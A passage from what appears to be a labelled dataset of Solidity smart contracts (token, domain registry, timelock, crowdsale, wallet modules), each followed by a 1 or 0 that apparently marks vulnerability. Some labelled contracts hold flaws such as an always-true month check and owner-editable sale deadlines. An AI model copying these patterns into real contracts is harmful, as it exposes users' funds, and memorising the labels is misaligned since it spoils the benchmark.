StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) public { _burnFrom(_from, _value); } function _burn(address _who, uint256 _value) internal { super._burn(_who, _value); emit Burn(_who, _value); } } contract EVOAIToken is BurnableToken { string public constant name = "EVOAI"; string public constant symbol = "EVOT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000 * 1 ether; constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }
1
pragma solidity ^0.4.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract CoinMarketCapApi { function requestPrice(string _ticker) public payable; function _cost() public returns (uint _price); } contract ERC20 { function transfer(address to, uint tokens) public returns (bool success); } contract DateTime { using SafeMath for uint; uint constant SECONDS_PER_DAY = 24 * 60 * 60; int constant OFFSET19700101 = 2440588; function _timestampToDate(uint256 _timestamp) internal pure returns (uint year, uint month, uint day) { uint _days = _timestamp / SECONDS_PER_DAY; int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function isLeapYear(uint year) internal pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function getDaysInMonth(uint month, uint year, uint _addMonths) internal pure returns (uint) { if(_addMonths > 0){ (month, year) = addMonth(month, year, _addMonths); } if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _timestampToDate(fromTimestamp); (toYear, toMonth, toDay) = _timestampToDate(toTimestamp); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function addMonth(uint _month, uint _year, uint _add) internal pure returns (uint _nwMonth, uint _nwYear) { require(_add < 12); if(_month + _add > 12){ _nwYear = _year + 1; _nwMonth = 1; } else { _nwMonth = _month + _add; _nwYear = _year; } } } contract initLib is DateTime { using SafeMath for uint; string public symbol = "OWT"; uint256 public decimals = 18; address public tokenAddress; uint256 public tokenPrice = 43200; uint256 public domainCost = 500; uint256 public publishCost = 200; uint256 public hostRegistryCost = 1000; uint256 public userSurfingCost = 10; uint256 public registryDuration = 365 * 1 days; uint256 public stakeLockTime = 31 * 1 days; uint public websiteSizeLimit = 512; uint public websiteFilesLimit = 20; address public ow_owner; address public cmcAddress; uint public lastPriceUpdate; mapping ( address => uint256 ) public balanceOf; mapping ( address => uint256 ) public stakeBalance; mapping ( uint => mapping ( uint => uint256 )) public poolBalance; mapping ( uint => mapping ( uint => uint256 )) public poolBalanceClaimed; mapping ( uint => mapping ( uint => uint256 )) public totalStakes; uint256 public totalSubscriber; uint256 public totalHosts; uint256 public totalDomains; mapping ( address => UserMeta ) public users; mapping ( bytes32 => DomainMeta ) public domains; mapping ( bytes32 => DomainSaleMeta ) public domain_sale; mapping ( address => HostMeta ) public hosts; mapping ( uint => address ) public hostAddress; mapping ( uint => bytes32 ) public hostConnection; mapping ( bytes32 => bool ) public hostConnectionDB; mapping ( uint => mapping ( uint => mapping ( address => uint256 ) )) public hostStakes; mapping ( uint => mapping ( uint => mapping ( address => uint256 ) )) public stakeTmpBalance; mapping ( address => uint256 ) public stakesLockups; mapping ( uint => uint ) public hostUpdates; uint public hostUpdatesCounter; mapping ( uint => string ) public websiteUpdates; uint public websiteUpdatesCounter; struct DomainMeta { string name; uint admin_index; uint total_admins; mapping(uint => mapping(address => bool)) admins; string git; bytes32 domain_bytes; bytes32 hash; uint total_files; uint version; mapping(uint => mapping(bytes32 => bytes32)) files_hash; uint ttl; uint time; uint expity_time; } struct DomainSaleMeta { address owner; address to; uint amount; uint time; uint expity_time; } struct HostMeta { uint id; address hostAddress; bytes32 connection; bool active; uint start_time; uint time; } struct UserMeta { bool active; uint start_time; uint expiry_time; uint time; } function stringToBytes32(string memory source) internal pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function _currentPrice(uint256 _price) public view returns (uint256 _getprice) { _getprice = (_price * 10**uint(24)) / tokenPrice; } function __response(uint _price) public { require(msg.sender == cmcAddress); tokenPrice = _price; } function fetchTokenPrice() public payable { require( lastPriceUpdate + 1 * 1 days < now ); lastPriceUpdate = now; uint _getprice = CoinMarketCapApi(cmcAddress)._cost(); CoinMarketCapApi(cmcAddress).requestPrice.value(_getprice)(symbol); } function _priceFetchingCost() public view returns (uint _getprice) { _getprice = CoinMarketCapApi(cmcAddress)._cost(); } function debitToken(uint256 _amount) internal { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[ow_owner] = balanceOf[ow_owner].add(_amount); } function creditUserPool(uint _duration, uint256 _price) internal { uint _monthDays; uint _remainingDays; uint _year; uint _month; uint _day; (_year, _month, _day) = _timestampToDate(now); _day--; uint monthDiff = diffMonths(now, now + ( _duration * 1 days )) + 1; for(uint i = 0; i < monthDiff; i++) { _monthDays = getDaysInMonth(_month, _year, 0); if(_day.add(_duration) > _monthDays){ _remainingDays = _monthDays.sub(_day); balanceOf[address(0x0)] = balanceOf[address(0x0)].add((_remainingDays * _price * 10) / 100); poolBalance[_year][_month] = poolBalance[_year][_month].add((_remainingDays * _price * 90) / 100); (_month, _year) = addMonth(_month, _year, 1); _duration = _duration.sub(_remainingDays); _day = 0; } else { balanceOf[address(0x0)] = balanceOf[address(0x0)].add((_duration * _price * 10) / 100); poolBalance[_year][_month] = poolBalance[_year][_month].add((_duration * _price * 90) / 100); } } } } contract owContract is initLib { function owContract(address _token, address _cmc) public { tokenAddress = _token; ow_owner = msg.sender; cmcAddress = _cmc; } function _validateDomain(string _domain) internal pure returns (bool){ bytes memory b = bytes(_domain); if(b.length > 32) return false; uint counter = 0; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if( !(char >= 0x30 && char <= 0x39) && !(char >= 0x61 && char <= 0x7A) && !(char == 0x2D) && !(char == 0x2E && counter == 0) ){ return false; } if(char == 0x2E) counter++; } return true; } function registerDomain(string _domain, uint _ttl) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; uint256 _cPrice = _currentPrice(domainCost); require( d.expity_time < now && _ttl >= 1 * 1 hours && balanceOf[msg.sender] >= _cPrice && _validateDomain(_domain) ); debitToken(_cPrice); uint _adminIndex = d.admin_index + 1; if(d.expity_time == 0){ totalDomains++; } d.name = _domain; d.domain_bytes = _domainBytes; d.admin_index = _adminIndex; d.total_admins = 1; d.admins[_adminIndex][msg.sender] = true; d.ttl = _ttl; d.expity_time = now + registryDuration; d.time = now; _status = true; } function updateDomainTTL(string _domain, uint _ttl) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; require( d.admins[d.admin_index][msg.sender] && _ttl >= 1 * 1 hours && d.expity_time > now ); d.ttl = _ttl; _status = true; } function renewDomain(string _domain) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; uint256 _cPrice = _currentPrice(domainCost); require( d.expity_time > now && balanceOf[msg.sender] >= _cPrice ); debitToken(_cPrice); d.expity_time = d.expity_time.add(registryDuration); _status = true; } function addDomainAdmin(string _domain, address _admin) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; require( d.admins[d.admin_index][msg.sender] && !d.admins[d.admin_index][_admin] && d.expity_time > now ); d.total_admins = d.total_admins.add(1); d.admins[d.admin_index][_admin] = true; _status = true; } function removeDomainAdmin(string _domain, address _admin) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; require( d.admins[d.admin_index][msg.sender] && d.admins[d.admin_index][_admin] && d.expity_time > now ); d.total_admins = d.total_admins.sub(1); d.admins[d.admin_index][_admin] = false; _status = true; } function sellDomain( string _domain, address _owner, address _to, uint256 _amount, uint _expiry ) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; DomainSaleMeta storage ds = domain_sale[_domainBytes]; require( _amount > 0 && d.admins[d.admin_index][msg.sender] && d.expity_time > now && ds.expity_time < now ); ds.owner = _owner; ds.to = _to; ds.amount = _amount; ds.time = now; ds.expity_time = now + _expiry * 1 days; _status = true; } function buyDomain(string _domain) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; DomainSaleMeta storage ds = domain_sale[_domainBytes]; if(ds.to != address(0x0)){ require( ds.to == msg.sender ); } require( balanceOf[msg.sender] >= ds.amount && d.expity_time > now && ds.expity_time > now ); balanceOf[msg.sender] = balanceOf[msg.sender].sub(ds.amount); balanceOf[ds.owner] = balanceOf[ds.owner].add(ds.amount); uint _adminIndex = d.admin_index + 1; d.total_admins = 1; d.admin_index = _adminIndex; d.admins[_adminIndex][msg.sender] = true; ds.expity_time = 0; _status = true; } function publishWebsite( string _domain, string _git, bytes32 _filesHash, bytes32[] _file_name, bytes32[] _file_hash ) public returns (bool _status) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; uint256 _cPrice = _currentPrice(publishCost); require( d.admins[d.admin_index][msg.sender] && balanceOf[msg.sender] >= _cPrice && _file_name.length <= websiteFilesLimit && _file_name.length == _file_hash.length && d.expity_time > now ); debitToken(_cPrice); d.version++; for(uint i = 0; i < _file_name.length; i++) { d.files_hash[d.version][_file_name[i]] = _file_hash[i]; } d.git = _git; d.total_files = _file_name.length; d.hash = _filesHash; websiteUpdates[websiteUpdatesCounter] = _domain; websiteUpdatesCounter++; _status = true; } function getDomainMeta(string _domain) public view returns ( string _name, string _git, bytes32 _domain_bytes, bytes32 _hash, uint _total_admins, uint _adminIndex, uint _total_files, uint _version, uint _ttl, uint _time, uint _expity_time ) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; _name = d.name; _git = d.git; _domain_bytes = d.domain_bytes; _hash = d.hash; _total_admins = d.total_admins; _adminIndex = d.admin_index; _total_files = d.total_files; _version = d.version; _ttl = d.ttl; _time = d.time; _expity_time = d.expity_time; } function getDomainFileHash(string _domain, bytes32 _file_name) public view returns ( bytes32 _hash ) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; _hash = d.files_hash[d.version][_file_name]; } function verifyDomainFileHash(string _domain, bytes32 _file_name, bytes32 _file_hash) public view returns ( bool _status ) { bytes32 _domainBytes = stringToBytes32(_domain); DomainMeta storage d = domains[_domainBytes]; _status = ( d.files_hash[d.version][_file_name] == _file_hash ); } function registerHost(string _connection) public returns (bool _status) { bytes32 hostConn = stringToBytes32(_connection); HostMeta storage h = hosts[msg.sender]; uint256 _cPrice = _currentPrice(hostRegistryCost); require( !h.active && balanceOf[msg.sender] >= _cPrice && !hostConnectionDB[hostConn] ); debitToken(_cPrice); h.id = totalHosts; h.connection = hostConn; h.active = true; h.time = now; hostAddress[totalHosts] = msg.sender; hostConnection[totalHosts] = h.connection; hostConnectionDB[hostConn] = true; totalHosts++; _status = true; } function updateHost(string _connection) public returns (bool _status) { bytes32 hostConn = stringToBytes32(_connection); HostMeta storage h = hosts[msg.sender]; require( h.active && h.connection != hostConn && !hostConnectionDB[hostConn] ); hostConnectionDB[h.connection] = false; h.connection = hostConn; hostConnectionDB[hostConn] = true; hostUpdates[hostUpdatesCounter] = h.id; hostConnection[h.id] = hostConn; hostUpdatesCounter++; _status = true; } function deListHost() public returns (bool _status) { HostMeta storage h = hosts[msg.sender]; require( h.active ); h.active = false; totalHosts--; _status = true; } function userSubscribe(uint _duration) public { uint256 _cPrice = _currentPrice(userSurfingCost); uint256 _cost = _duration * _cPrice; require( _duration < 400 && _duration > 0 && balanceOf[msg.sender] >= _cost ); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_cost); creditUserPool(_duration, _cPrice); UserMeta storage u = users[msg.sender]; if(!u.active){ u.active = true; u.time = now; totalSubscriber++; } if(u.expiry_time < now){ u.start_time = now; u.expiry_time = now + (_duration * 1 days); } else { u.expiry_time = u.expiry_time.add(_duration * 1 days); } } function stakeTokens(address _hostAddress, uint256 _amount) public { require( balanceOf[msg.sender] >= _amount ); uint _year; uint _month; uint _day; (_year, _month, _day) = _timestampToDate(now); HostMeta storage h = hosts[_hostAddress]; require( h.active ); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); stakeBalance[msg.sender] = stakeBalance[msg.sender].add(_amount); stakeTmpBalance[_year][_month][msg.sender] = stakeTmpBalance[_year][_month][msg.sender].add(_amount); stakesLockups[msg.sender] = now + stakeLockTime; hostStakes[_year][_month][_hostAddress] = hostStakes[_year][_month][_hostAddress].add(_amount); totalStakes[_year][_month] = totalStakes[_year][_month].add(_amount); } function validateMonth(uint _year, uint _month) internal view { uint __year; uint __month; uint __day; (__year, __month, __day) = _timestampToDate(now); if(__month == 1){ __year--; __month = 12; } else { __month--; } require( __year * 12 + __month - _year * 12 - _month >= 0 ); } function claimHostTokens(uint _year, uint _month) public { validateMonth(_year, _month); HostMeta storage h = hosts[msg.sender]; require( h.active ); if(totalStakes[_year][_month] > 0){ uint256 _tmpHostStake = hostStakes[_year][_month][msg.sender]; if(_tmpHostStake > 0){ uint256 _totalStakes = totalStakes[_year][_month]; uint256 _poolAmount = poolBalance[_year][_month]; hostStakes[_year][_month][msg.sender] = 0; uint256 _amount = ((_tmpHostStake.mul(_poolAmount)).mul(50)) / _totalStakes.mul(100); if(_amount > 0){ balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount); poolBalanceClaimed[_year][_month] = poolBalanceClaimed[_year][_month].add(_amount); } } } } function claimStakeTokens(uint _year, uint _month) public { validateMonth(_year, _month); require(stakesLockups[msg.sender] < now); if(totalStakes[_year][_month] > 0){ uint256 _tmpStake = stakeTmpBalance[_year][_month][msg.sender]; if(_tmpStake > 0){ uint256 _totalStakesBal = stakeBalance[msg.sender]; uint256 _totalStakes = totalStakes[_year][_month]; uint256 _poolAmount = poolBalance[_year][_month]; uint256 _amount = ((_tmpStake.mul(_poolAmount)).mul(50)) / _totalStakes.mul(100); stakeTmpBalance[_year][_month][msg.sender] = 0; stakeBalance[msg.sender] = 0; _amount = _amount.add(_totalStakesBal); if(_amount > 0){ balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount); poolBalanceClaimed[_year][_month] = poolBalanceClaimed[_year][_month].add(_amount); } } } } function getHostTokens(address _address, uint _year, uint _month) public view returns (uint256 _amount) { validateMonth(_year, _month); HostMeta storage h = hosts[_address]; require( h.active ); _amount = 0; if(h.active && totalStakes[_year][_month] > 0){ uint256 _tmpHostStake = hostStakes[_year][_month][_address]; if(_tmpHostStake > 0){ uint256 _totalStakes = totalStakes[_year][_month]; uint256 _poolAmount = poolBalance[_year][_month]; _amount = ((_tmpHostStake.mul(_poolAmount)).mul(50)) / _totalStakes.mul(100); } } } function getStakeTokens(address _address, uint _year, uint _month) public view returns (uint256 _amount) { validateMonth(_year, _month); require(stakesLockups[_address] < now); _amount = 0; if(stakesLockups[_address] < now && totalStakes[_year][_month] > 0){ uint256 _tmpStake = stakeTmpBalance[_year][_month][_address]; if(_tmpStake > 0){ uint256 _totalStakesBal = stakeBalance[_address]; uint256 _totalStakes = totalStakes[_year][_month]; uint256 _poolAmount = poolBalance[_year][_month]; _amount = ((_tmpStake.mul(_poolAmount)).mul(50)) / _totalStakes.mul(100); _amount = _amount.add(_totalStakesBal); } } } function burnPoolTokens(uint _year, uint _month) public { validateMonth(_year, _month); if(totalStakes[_year][_month] == 0){ uint256 _poolAmount = poolBalance[_year][_month]; if(_poolAmount > 0){ poolBalance[_year][_month] = 0; balanceOf[address(0x0)] = balanceOf[address(0x0)].add(_poolAmount); } } } function poolDonate(uint _year, uint _month, uint256 _amount) public { require( balanceOf[msg.sender] >= _amount ); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[address(0x0)] = balanceOf[address(0x0)].add((_amount * 10) / 100); poolBalance[_year][_month] = poolBalance[_year][_month].add((_amount * 90) / 100); } function internalTransfer(address _to, uint256 _value) public returns (bool success) { require( _value > 0 && balanceOf[msg.sender] >= _value ); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); return true; } function transfer(address _to, uint256 _value) public returns (bool success) { require( _value > 0 && balanceOf[msg.sender] >= _value ); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); ERC20(tokenAddress).transfer(_to, _value); return true; } function burn() public { uint256 _amount = balanceOf[address(0x0)]; require( _amount > 0 ); balanceOf[address(0x0)] = 0; ERC20(tokenAddress).transfer(address(0x0), _amount); } function notifyBalance(address sender, uint tokens) public { require( msg.sender == tokenAddress ); balanceOf[sender] = balanceOf[sender].add(tokens); } function () public payable {} }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x3b14fa12019a9401b40FA8A0359bb756CA2Dc61b; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.2; contract blockcdn { mapping (address => uint256) balances; mapping (address => uint256) fundValue; address public owner; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public minFundedValue; uint256 public maxFundedValue; bool public isFundedMax; bool public isFundedMini; uint256 public closeTime; uint256 public startTime; event Transfer(address indexed from, address indexed to, uint256 value); function blockcdn( address _owner, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, uint256 _totalSupply, uint256 _closeTime, uint256 _startTime, uint256 _minValue, uint256 _maxValue ) { owner = _owner; name = _tokenName; symbol = _tokenSymbol; decimals = _decimalUnits; closeTime = _closeTime; startTime = _startTime; totalSupply = _totalSupply; minFundedValue = _minValue; maxFundedValue = _maxValue; isFundedMax = false; isFundedMini = false; balances[owner] = _totalSupply; } function () payable { buyBlockCDN(); } function buyBlockCDN() payable returns (bool success){ if(msg.sender == owner) throw; if(now > closeTime) throw; if(now < startTime) throw; if(isFundedMax) throw; uint256 token = 0; if(closeTime - 2 weeks > now) { token = msg.value; }else { uint day = (now - (closeTime - 2 weeks))/(2 days) + 1; token = msg.value; while( day > 0) { token = token * 95 / 100 ; day -= 1; } } balances[msg.sender] += token; if(balances[owner] < token) return false; balances[owner] -= token; if(this.balance >= minFundedValue) { isFundedMini = true; } if(this.balance >= maxFundedValue) { isFundedMax = true; } fundValue[msg.sender] += msg.value; Transfer(owner, msg.sender, token); return true; } function balanceOf( address _owner) constant returns (uint256 value) { return balances[_owner]; } function balanceOfFund(address _owner) constant returns (uint256 value) { return fundValue[_owner]; } function reFund() payable returns (bool success) { if(now <= closeTime) throw; if(isFundedMini) throw; uint256 value = fundValue[msg.sender]; fundValue[msg.sender] = 0; if(value <= 0) throw; if(!msg.sender.send(value)) throw; balances[owner] += balances[msg.sender]; balances[msg.sender] = 0; Transfer(msg.sender, this, balances[msg.sender]); return true; } function reFundByOther(address _fundaddr) payable returns (bool success) { if(now <= closeTime) throw; if(isFundedMini) throw; uint256 value = fundValue[_fundaddr]; fundValue[_fundaddr] = 0; if(value <= 0) throw; if(!_fundaddr.send(value)) throw; balances[owner] += balances[_fundaddr]; balances[_fundaddr] = 0; Transfer(msg.sender, this, balances[_fundaddr]); return true; } function transfer(address _to, uint256 _value) payable returns (bool success) { if(_value <= 0 ) throw; if (balances[msg.sender] < _value) throw; if (balances[_to] + _value < balances[_to]) throw; if(now < closeTime ) { if(_to == address(this)) { fundValue[msg.sender] -= _value; balances[msg.sender] -= _value; balances[owner] += _value; if(!msg.sender.send(_value)) return false; Transfer(msg.sender, _to, _value); return true; } } balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function sendRewardBlockCDN(address rewarder, uint256 value) payable returns (bool success) { if(msg.sender != owner) throw; if(now <= closeTime) throw; if(!isFundedMini) throw; if( balances[owner] < value) throw; balances[rewarder] += value; uint256 halfValue = value / 2; balances[owner] -= halfValue; totalSupply += halfValue; Transfer(owner, rewarder, value); return true; } function modifyStartTime(uint256 _startTime) { if(msg.sender != owner) throw; startTime = _startTime; } function modifyCloseTime(uint256 _closeTime) { if(msg.sender != owner) throw; closeTime = _closeTime; } function withDrawEth(uint256 value) payable returns (bool success) { if(now <= closeTime ) throw; if(!isFundedMini) throw; if(this.balance < value) throw; if(msg.sender != owner) throw; if(!msg.sender.send(value)) return false; return true; } }
1
pragma solidity ^0.4.24; interface Module { function init(BaseWallet _wallet) external; function addModule(BaseWallet _wallet, Module _module) external; function recoverToken(address _token) external; } contract BaseModule is Module { ModuleRegistry internal registry; event ModuleCreated(bytes32 name); event ModuleInitialised(address wallet); constructor(ModuleRegistry _registry, bytes32 _name) public { registry = _registry; emit ModuleCreated(_name); } modifier onlyWallet(BaseWallet _wallet) { require(msg.sender == address(_wallet), "BM: caller must be wallet"); _; } modifier onlyOwner(BaseWallet _wallet) { require(msg.sender == address(this) || isOwner(_wallet, msg.sender), "BM: must be an owner for the wallet"); _; } modifier strictOnlyOwner(BaseWallet _wallet) { require(isOwner(_wallet, msg.sender), "BM: msg.sender must be an owner for the wallet"); _; } function init(BaseWallet _wallet) external onlyWallet(_wallet) { emit ModuleInitialised(_wallet); } function addModule(BaseWallet _wallet, Module _module) external strictOnlyOwner(_wallet) { require(registry.isRegisteredModule(_module), "BM: module is not registered"); _wallet.authoriseModule(_module, true); } function recoverToken(address _token) external { uint total = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(address(registry), total); } function isOwner(BaseWallet _wallet, address _addr) internal view returns (bool) { return _wallet.owner() == _addr; } } contract RelayerModule is Module { uint256 constant internal BLOCKBOUND = 10000; mapping (address => RelayerConfig) public relayer; struct RelayerConfig { uint256 nonce; mapping (bytes32 => bool) executedTx; } event TransactionExecuted(address indexed wallet, bool indexed success, bytes32 signedHash); modifier onlyExecute { require(msg.sender == address(this), "RM: must be called via execute()"); _; } function getRequiredSignatures(BaseWallet _wallet, bytes _data) internal view returns (uint256); function validateSignatures(BaseWallet _wallet, bytes _data, bytes32 _signHash, bytes _signatures) internal view returns (bool); function execute( BaseWallet _wallet, bytes _data, uint256 _nonce, bytes _signatures, uint256 _gasPrice, uint256 _gasLimit ) external returns (bool success) { uint startGas = gasleft(); bytes32 signHash = getSignHash(address(this), _wallet, 0, _data, _nonce, _gasPrice, _gasLimit); require(checkAndUpdateUniqueness(_wallet, _nonce, signHash), "RM: Duplicate request"); require(verifyData(address(_wallet), _data), "RM: the wallet authorized is different then the target of the relayed data"); uint256 requiredSignatures = getRequiredSignatures(_wallet, _data); if((requiredSignatures * 65) == _signatures.length) { if(verifyRefund(_wallet, _gasLimit, _gasPrice, requiredSignatures)) { if(requiredSignatures == 0 || validateSignatures(_wallet, _data, signHash, _signatures)) { success = address(this).call(_data); refund(_wallet, startGas - gasleft(), _gasPrice, _gasLimit, requiredSignatures, msg.sender); } } } emit TransactionExecuted(_wallet, success, signHash); } function getNonce(BaseWallet _wallet) external view returns (uint256 nonce) { return relayer[_wallet].nonce; } function getSignHash( address _from, address _to, uint256 _value, bytes _data, uint256 _nonce, uint256 _gasPrice, uint256 _gasLimit ) internal pure returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(byte(0x19), byte(0), _from, _to, _value, _data, _nonce, _gasPrice, _gasLimit)) )); } function checkAndUpdateUniqueness(BaseWallet _wallet, uint256 _nonce, bytes32 _signHash) internal returns (bool) { if(relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } function checkAndUpdateNonce(BaseWallet _wallet, uint256 _nonce) internal returns (bool) { if(_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if(nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; } function recoverSigner(bytes32 _signedHash, bytes _signatures, uint _index) internal pure returns (address) { uint8 v; bytes32 r; bytes32 s; assembly { r := mload(add(_signatures, add(0x20,mul(0x41,_index)))) s := mload(add(_signatures, add(0x40,mul(0x41,_index)))) v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff) } require(v == 27 || v == 28); return ecrecover(_signedHash, v, r, s); } function refund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _gasLimit, uint _signatures, address _relayer) internal { uint256 amount = 29292 + _gasUsed; if(_gasPrice > 0 && _signatures > 1 && amount <= _gasLimit) { if(_gasPrice > tx.gasprice) { amount = amount * tx.gasprice; } else { amount = amount * _gasPrice; } _wallet.invoke(_relayer, amount, ""); } } function verifyRefund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _signatures) internal view returns (bool) { if(_gasPrice > 0 && _signatures > 1 && (address(_wallet).balance < _gasUsed * _gasPrice || _wallet.authorised(this) == false)) { return false; } return true; } function verifyData(address _wallet, bytes _data) private pure returns (bool) { require(_data.length >= 36, "RM: Invalid dataWallet"); address dataWallet; assembly { dataWallet := mload(add(_data, 0x24)) } return dataWallet == _wallet; } function functionPrefix(bytes _data) internal pure returns (bytes4 prefix) { require(_data.length >= 4, "RM: Invalid functionPrefix"); assembly { prefix := mload(add(_data, 0x20)) } } } contract LimitManager is BaseModule { uint128 constant internal LIMIT_DISABLED = uint128(-1); using SafeMath for uint256; struct LimitManagerConfig { Limit limit; DailySpent dailySpent; } struct Limit { uint128 current; uint128 pending; uint64 changeAfter; } struct DailySpent { uint128 alreadySpent; uint64 periodEnd; } mapping (address => LimitManagerConfig) internal limits; uint256 public defaultLimit; event LimitChanged(address indexed wallet, uint indexed newLimit, uint64 indexed startAfter); constructor(uint256 _defaultLimit) public { defaultLimit = _defaultLimit; } function init(BaseWallet _wallet) external onlyWallet(_wallet) { Limit storage limit = limits[_wallet].limit; if(limit.current == 0 && limit.changeAfter == 0) { limit.current = uint128(defaultLimit); } } function changeLimit(BaseWallet _wallet, uint256 _newLimit, uint256 _securityPeriod) internal { Limit storage limit = limits[_wallet].limit; uint128 currentLimit = (limit.changeAfter > 0 && limit.changeAfter < now) ? limit.pending : limit.current; limit.current = currentLimit; limit.pending = uint128(_newLimit); limit.changeAfter = uint64(now.add(_securityPeriod)); emit LimitChanged(_wallet, _newLimit, uint64(now.add(_securityPeriod))); } function getCurrentLimit(BaseWallet _wallet) public view returns (uint256 _currentLimit) { Limit storage limit = limits[_wallet].limit; _currentLimit = uint256(currentLimit(limit.current, limit.pending, limit.changeAfter)); } function getPendingLimit(BaseWallet _wallet) external view returns (uint256 _pendingLimit, uint64 _changeAfter) { Limit storage limit = limits[_wallet].limit; return ((now < limit.changeAfter)? (uint256(limit.pending), limit.changeAfter) : (0,0)); } function getDailyUnspent(BaseWallet _wallet) external view returns (uint256 _unspent, uint64 _periodEnd) { uint256 globalLimit = getCurrentLimit(_wallet); DailySpent storage expense = limits[_wallet].dailySpent; if(now > expense.periodEnd) { _unspent = globalLimit; _periodEnd = uint64(now + 24 hours); } else { _unspent = globalLimit - expense.alreadySpent; _periodEnd = expense.periodEnd; } } function checkAndUpdateDailySpent(BaseWallet _wallet, uint _amount) internal returns (bool) { Limit storage limit = limits[_wallet].limit; uint128 current = currentLimit(limit.current, limit.pending, limit.changeAfter); 